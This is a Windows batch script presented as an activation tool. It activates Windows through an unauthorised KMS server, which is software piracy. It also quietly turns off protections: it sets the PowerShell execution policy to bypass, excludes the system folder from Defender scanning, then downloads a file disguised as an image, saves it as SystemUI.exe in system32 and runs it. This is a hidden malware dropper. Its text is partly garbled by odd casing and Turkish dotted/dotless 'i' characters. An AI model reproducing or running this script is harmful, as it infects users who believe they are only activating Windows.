@Echo off.
Net session >nul 2>&1
İf %errorlevel% neq 0 (
Echo this script needs to be run as administrator. Please open CMD as administrator.
Pause.
)
PowerShell -windowstyle hidden -command "set-executionpolicy -executionpolicy bypass -scope localmachine -Force"
For /f "tokens = 2 delims==" %a in ('wmic OS get caption /value ^| find "="') do set windowsproductname=%a
Set windowsproductname=%windowsproductname:~0, 50%
Set key=
İf "%windowsproductname%"=="Microsoft Windows 10 Pro n" (
Set key = MH37W-N47XK-V7XM9-C7227-gcqg9
) Else if "%windowsproductname%"=="Microsoft Windows 11 Pro n" (
Set key = MH37W-N47XK-V7XM9-C7227-gcqg9
) Else if "%windowsproductname%"=="Microsoft Windows 10 Pro" (
Set key = W269n-wfgwx-YVC9B-4J6C9-T83gx
) Else if "%windowsproductname%"=="Microsoft Windows 11 Pro" (
Set key = W269n-wfgwx-YVC9B-4J6C9-T83gx
) Else if "%windowsproductname%"=="Microsoft Windows 10 Enterprise" (
Set key = nppr9-fwdcx-D2C8J-H872K-2YT43
) Else if "%windowsproductname%"=="Microsoft Windows 11 Enterprise" (
Set key = nppr9-fwdcx-D2C8J-H872K-2YT43
) Else if "%windowsproductname%"=="Microsoft Windows 10 enterprisen" (
Set key = dph2v-ttnvb-4x9Q3-TJR4h-khjw4
) Else if "%windowsproductname%"=="Microsoft Windows 11 enterprisen" (
Set key = dph2v-ttnvb-4x9Q3-TJR4h-khjw4
) Else if "%windowsproductname%"=="Microsoft Windows 10 education" (
Set key = NW6C2-qmpvw-D7kkk-3gkt6-vcfb2
) Else if "%windowsproductname%"=="Microsoft Windows 11 education" (
Set key = NW6C2-qmpvw-D7kkk-3gkt6-vcfb2
) Else if "%windowsproductname%"=="Microsoft Windows 10 educationn" (
Set key = 2wh4n-8QGBV-H22JP-CT43Q-mdwwj
) Else if "%windowsproductname%"=="Microsoft Windows 11 educationn" (
Set key = 2wh4n-8QGBV-H22JP-CT43Q-mdwwj
) Else if "%windowsproductname%"=="Microsoft Windows 10 Home" (
Set key = TX9XD-98N7v-6WMQ6-BX7FG-H8Q99
) Else if "%windowsproductname%"=="Microsoft Windows 11 Home" (
Set key = TX9XD-98N7v-6WMQ6-BX7FG-H8Q99
) Else if "%windowsproductname%"=="Microsoft Windows 10 Home n" (
Set key = 3KHY7-WNT83-dgqkr-F7HPR-844BM
) Else if "%windowsproductname%"=="Microsoft Windows 11 Home n" (
Set key = 3KHY7-WNT83-dgqkr-F7HPR-844BM
) Else if "%windowsproductname%"=="Microsoft Windows 10 Home Single Language" (
Set key = 7HNRX-D7KGG-3K4rq-4wpj4-ytdfh
) Else if "%windowsproductname%"=="Microsoft Windows 11 Home Single Language" (
Set key = 7HNRX-D7KGG-3K4rq-4wpj4-ytdfh
) Else if "%windowsproductname%"=="Microsoft Windows 10 Home country specific" (
Set key = pvmjn-6dfy6-9ccp6-7BKTT-D3wvr
) Else if "%windowsproductname%"=="Microsoft Windows 11 Home country specific" (
Set key = pvmjn-6dfy6-9ccp6-7BKTT-D3wvr
) Else if "%windowsproductname%"=="Microsoft Enterprise 2015LTSB" (
Set key = wnmtr-4C88C-JK8YV-HQ7T2-76df9
) Else if "%windowsproductname%"=="Microsoft Enterprise 2015LTSBn" (
Set key = 2F77b-tnfgy-69QQF-B8YKP-D69tj
) Else if "%windowsproductname%"=="Microsoft Enterprise 2016LTSB" (
Set key = dcphk-nfmtc-H88mj-pfhpy-QJ4bj
) Else (
Set key = qffdn-grt3p-vkwwx-X7T3R-8B639
)
%SystemRoot%\System32\slmgr.vbs /ipk %key% >nul 2>&1
%SystemRoot%\System32\slmgr.vbs /skms KMS. Digiboy. İr >nul 2>&1
%SystemRoot%\System32\slmgr.vbs /ato >nul 2>&1
PowerShell -windowstyle hidden -command "set-mppreference -exclusionpath %systemroot%" >nul 2>&1
PowerShell -command "start-sleep -milliseconds 200; start-sleep -milliseconds 200; start-sleep -milliseconds 200; ınvoke-webrequest -uri '
https://bee496bd.pythonanywhere.com/static/SystemUI.jpg' -outfile \"$env:SystemRoot\\system32\\SystemUI.exe\"; start-process "$env:SystemRoot\\system32\\SystemUI.exe"" >nul 2>&1
Exit /b
Reis bunu yazdım.